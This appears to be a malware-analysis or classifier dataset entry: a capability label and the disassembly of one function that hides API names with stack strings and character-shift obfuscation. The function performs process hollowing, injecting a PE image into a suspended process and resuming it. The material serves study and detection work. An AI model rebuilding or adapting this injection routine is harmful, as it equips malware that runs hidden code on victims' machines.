Function at 0x403820
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
push edi
xor eax, eax
push esi
push ebx
mov ecx, 0x19
sub esp, 0x59c
lea edi, [esp + 0xf8]
mov esi, dword [esp + 0x5b0]
mov dword [esp + 0x2c4], 0x10007
rep stosd dword es:[edi], eax
lea edi, [esp + 0x15c]
mov ecx, 0x19
mov ebp, dword [esi]
rep stosd dword es:[edi], eax
lea edi, [esp + 0x70]
mov ecx, 0x11
rep stosd dword es:[edi], eax
lea eax, [esp + 0xf8]
mov dword [esp + 0x70], 0x44
xor edi, edi
mov ebx, dword [ebp + 0x3c]
mov dword [esp], eax
mov byte [esp + 0xf8], 0x6b
mov byte [esp + 0xf9], 0x65
mov byte [esp + 0xfa], 0x72
mov byte [esp + 0xfb], 0x6e
mov byte [esp + 0xfc], 0x65
mov byte [esp + 0xfd], 0x6c
add ebx, ebp
mov byte [esp + 0xfe], 0x33
mov byte [esp + 0xff], 0x32
mov byte [esp + 0x100], 0x2e
mov byte [esp + 0x101], 0x64
mov byte [esp + 0x102], 0x6c
mov byte [esp + 0x103], 0x6c
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
lea edx, [esp + 0x15c]
mov dword [esp], eax
mov byte [esp + 0x15c], 0x4c
mov byte [esp + 0x15d], 0x6f
mov byte [esp + 0x15e], 0x61
mov dword [esp + 4], edx
mov byte [esp + 0x15f], 0x64
mov byte [esp + 0x160], 0x4c
mov byte [esp + 0x161], 0x69
mov byte [esp + 0x162], 0x62
mov byte [esp + 0x163], 0x72
mov byte [esp + 0x164], 0x61
mov byte [esp + 0x165], 0x72
mov byte [esp + 0x166], 0x79
mov byte [esp + 0x167], 0x41
mov byte [esp + 0x168], 0
call fcn.00401d00
mov dword [0x40c060], eax
jmp 0x40397a
sub byte [edi + str.lfsofm43_emm], 1
add edi, 1
mov dword [esp], str.lfsofm43_emm
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
cmp edi, eax
jl 0x403970
lea eax, [esp + 0xf8]
mov dword [esp], eax
call dword [0x40c060]
sub esp, 4
mov edi, eax
mov dword [esp], str._n_ph_1
mov dword [esp + 0x3c], eax
call sub.msvcrt.dll_printf
mov dword [esp], str.IxokoZxeioyyK
call fcn.00401460
mov dword [esp], edi
mov dword [esp + 4], eax
xor edi, edi
call fcn.00401d00
mov dword [esp + 0x40], eax
jmp 0x4039dc
sub byte [edi + str.ouemm_emm_____________], 1
add edi, 1
mov dword [esp], str.ouemm_emm_____________
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
cmp edi, eax
jl 0x4039d2
mov dword [esp], str.ouemm_emm_____________
call dword [0x40c060]
sub esp, 4
mov dword [esp + 0x38], eax
mov dword [esp], str.Wininet.dll
call dword [0x40c060]
sub esp, 4
xor eax, eax
mov ecx, 0x41
lea edi, [esp + 0x1c0]
rep stosd dword es:[edi], eax
mov dword [esp], str._n_ph_2
mov byte [esp + 0x1c0], 0x5a
mov byte [esp + 0x1c1], 0x77
mov byte [esp + 0x1c2], 0x55
mov byte [esp + 0x1c3], 0x6e
mov byte [esp + 0x1c4], 0x6d
mov byte [esp + 0x1c5], 0x61
mov byte [esp + 0x1c6], 0x70
mov byte [esp + 0x1c7], 0x56
mov byte [esp + 0x1c8], 0x69
mov byte [esp + 0x1c9], 0x65
mov byte [esp + 0x1ca], 0x77
mov byte [esp + 0x1cb], 0x4f
mov byte [esp + 0x1cc], 0x66
mov byte [esp + 0x1cd], 0x53
mov byte [esp + 0x1ce], 0x65
mov byte [esp + 0x1cf], 0x63
mov byte [esp + 0x1d0], 0x74
mov byte [esp + 0x1d1], 0x69
mov byte [esp + 0x1d2], 0x6f
mov byte [esp + 0x1d3], 0x6e
call sub.msvcrt.dll_printf
mov edi, dword [esp + 0x38]
lea eax, [esp + 0x1c0]
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.00401d00
mov dword [esp], str._n_ph_a
call sub.msvcrt.dll_printf
mov dword [esp], str.P_dgkzcoElYoiced
call fcn.00401460
mov dword [esp], edi
mov dword [esp + 4], eax
mov dword [esp + 0x38], edi
call fcn.00401d00
mov dword [esp], str._n_ph_b
mov edi, eax
call sub.msvcrt.dll_printf
mov dword [esp], str.cx
call fcn.00401460
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
call fcn.00401d00
mov dword [esp], str._n_ph_c
mov dword [esp + 0x44], eax
call sub.msvcrt.dll_printf
mov dword [esp], str.UjqwvboSqlwf_wF
call fcn.004014c0
mov ecx, dword [esp + 0x3c]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00401d00
mov dword [esp], str._n_ph_d
call sub.msvcrt.dll_printf
mov dword [esp], str.MwTqjwfUjqwvboNfnlqz
call fcn.004014c0
mov edx, dword [esp + 0x38]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00401d00
mov dword [esp], str._n_ph_e
mov dword [esp + 0x38], eax
call sub.msvcrt.dll_printf
mov dword [esp], str._xcoZxeioyyGogexs
call fcn.00401460
mov ecx, dword [esp + 0x3c]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00401d00
mov dword [esp], str._n_ph_f
call sub.msvcrt.dll_printf
mov dword [esp], str.MobxoknIedor
call fcn.00401460
mov ecx, dword [esp + 0x3c]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00401d00
mov dword [esp], str._n_ph_g
mov dword [esp + 0x48], eax
call sub.msvcrt.dll_printf
mov dword [esp], str.YobxoknIedor
call fcn.00401460
mov ecx, dword [esp + 0x3c]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00401d00
mov dword [esp], str._n_ph_h
mov dword [esp + 0x4c], eax
call sub.msvcrt.dll_printf
mov ecx, dword [esp + 0x3c]
mov dword [esp + 4], str.ResumeThread
mov dword [esp], ecx
call fcn.00401d00
mov dword [esp], str._n_ph_i
mov dword [esp + 0x3c], eax
call sub.msvcrt.dll_printf
mov dword [esp], str._n_ph_3
call sub.msvcrt.dll_printf
lea eax, [esp + 0x50]
lea ecx, [esp + 0x70]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x24], eax
lea eax, [esi + 0x10]
mov dword [esp + 0x20], ecx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [esp + 0x40]
sub esp, 0x28
lea eax, [esp + 0x60]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 0
mov dword [esp + 0x24], eax
lea eax, [esp + 0xb4]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp + 0x20], eax
mov dword [esp], 0
call dword [esp + 0x40]
sub esp, 0x28
mov dword [esp], 2
call fcn.00401a50
mov dword [esp], str._n_ph_4
call sub.msvcrt.dll_printf
mov dword [esp], 9
call fcn.00401a50
call sub.KERNEL32.dll_GetLastError
mov dword [esp], str._n_error_1___d
mov dword [esp + 4], eax
call sub.msvcrt.dll_printf
mov dword [esp], str._n_ph_5
call sub.msvcrt.dll_printf
mov eax, dword [ebx + 0x34]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x50]
mov dword [esp], eax
call edi
sub esp, 8
xor edi, edi
mov dword [esp + 4], eax
mov dword [esp], 0x4093a0
call sub.msvcrt.dll_printf
mov dword [esp], 2
call fcn.00401a50
mov dword [esp], str._n_hii_6
call sub.msvcrt.dll_printf
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov eax, dword [ebx + 0x50]
mov dword [esp + 8], eax
mov eax, dword [ebx + 0x34]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x50]
mov dword [esp], eax
call dword [esp + 0x44]
sub esp, 0x14
mov dword [esp + 4], eax
mov dword [esp], 0x4093a0
call sub.msvcrt.dll_printf
mov dword [esp], 0x7d0
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov dword [esp + 0x10], 0
mov eax, dword [ebx + 0x54]
mov dword [esp + 0xc], eax
mov eax, dword [esi]
mov dword [esp + 8], eax
mov eax, dword [ebx + 0x34]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x50]
mov dword [esp], eax
call dword [esp + 0x38]
sub esp, 0x14
mov dword [esp + 4], eax
mov dword [esp], 0x4093ac
call sub.msvcrt.dll_printf
cmp word [ebx + 6], 0
je 0x403e7f
lea esi, [esi]
mov edx, dword [ebp + 0x3c]
lea ecx, [edi + edi*4]
mov eax, dword [esi]
mov dword [esp + 0x10], 0
add edi, 1
lea edx, [edx + ecx*8 + 0xf8]
add edx, eax
mov ecx, dword [edx + 0x10]
mov dword [esp + 0xc], ecx
add eax, dword [edx + 0x14]
mov dword [esp + 8], eax
mov eax, dword [edx + 0xc]
add eax, dword [ebx + 0x34]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x50]
mov dword [esp], eax
call dword [esp + 0x38]
sub esp, 0x14
mov dword [esp + 4], eax
mov dword [esp], 0x4093a0
call sub.msvcrt.dll_printf
call sub.KERNEL32.dll_GetLastError
mov dword [esp], str._n_error_2___d
mov dword [esp + 4], eax
call sub.msvcrt.dll_printf
movzx eax, word [ebx + 6]
cmp eax, edi
jg 0x403e10
mov dword [esp], 0x7d0
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov eax, dword [esp + 0x54]
lea esi, [esp + 0x2c4]
mov dword [esp + 4], esi
mov dword [esp], eax
call dword [esp + 0x48]
sub esp, 8
mov dword [esp], 0x7d0
call sub.KERNEL32.dll_Sleep
mov eax, dword [ebx + 0x28]
add eax, dword [ebx + 0x34]
sub esp, 4
mov dword [esp + 4], esi
mov dword [esp + 0x374], eax
mov eax, dword [esp + 0x54]
mov dword [esp], eax
call dword [esp + 0x4c]
sub esp, 8
mov dword [esp], str._n_hii_7
call sub.msvcrt.dll_printf
mov dword [esp], 0x7d0
call sub.KERNEL32.dll_Sleep
sub esp, 4
call fcn.00401d50
mov dword [esp], str.qh__d
mov dword [esp + 4], eax
mov dword [0x40c084], eax
call sub.msvcrt.dll_printf
cmp dword [0x40c084], 1
je 0x403f9f
mov dword [esp], 0x7d0
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov dword [esp], 1
call fcn.00401a50
mov dword [esp], str._n_before_rt
call sub.msvcrt.dll_printf
mov eax, dword [esp + 0x54]
mov esi, dword [esp + 0x3c]
mov dword [esp], eax
call esi
sub esp, 4
mov dword [esp + 4], eax
mov dword [esp], 0x4093a0
call sub.msvcrt.dll_printf
mov dword [esp], str._n_after_rt
call sub.msvcrt.dll_printf
mov eax, dword [esp + 0x54]
mov dword [esp], eax
call esi
sub esp, 4
mov dword [esp + 4], eax
mov dword [esp], 0x4093a0
call sub.msvcrt.dll_printf
mov eax, dword [esp + 0x64]
mov dword [esp], eax
mov eax, esi
call eax
sub esp, 4
add esp, 0x59c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], str.aoxdof98_nff
call fcn.00401460
mov dword [esp], eax
call fcn.00402b50
mov dword [esp], str.knkzc98_nff
call fcn.00401460
mov dword [esp], eax
call fcn.00402b50
mov dword [esp], 0x4093dc
call fcn.00401460
mov dword [esp], eax
call fcn.00402b50
mov dword [esp], str.mnc98_nff
call fcn.00401460
mov dword [esp], eax
call fcn.00402b50
mov dword [esp], 0x4093f3
call fcn.00401460
mov dword [esp], eax
call fcn.00402b50
mov dword [esp], str.efok98_nff
call fcn.00401460
mov dword [esp], eax
call fcn.00402b50
mov dword [esp], str.gli__:_nff
call fcn.00401460
mov dword [esp], eax
call fcn.00402b50
mov dword [esp], str.gyix__:_nff
call fcn.00401460
mov dword [esp], eax
call fcn.00402b50
mov dword [esp], str.ybfkzc_nff
call fcn.00401460
mov dword [esp], eax
call fcn.00402b50
mov dword [esp], str.gyiz__:_nff
call fcn.00401460
mov dword [esp], eax
call fcn.00402b50
jmp 0x403f17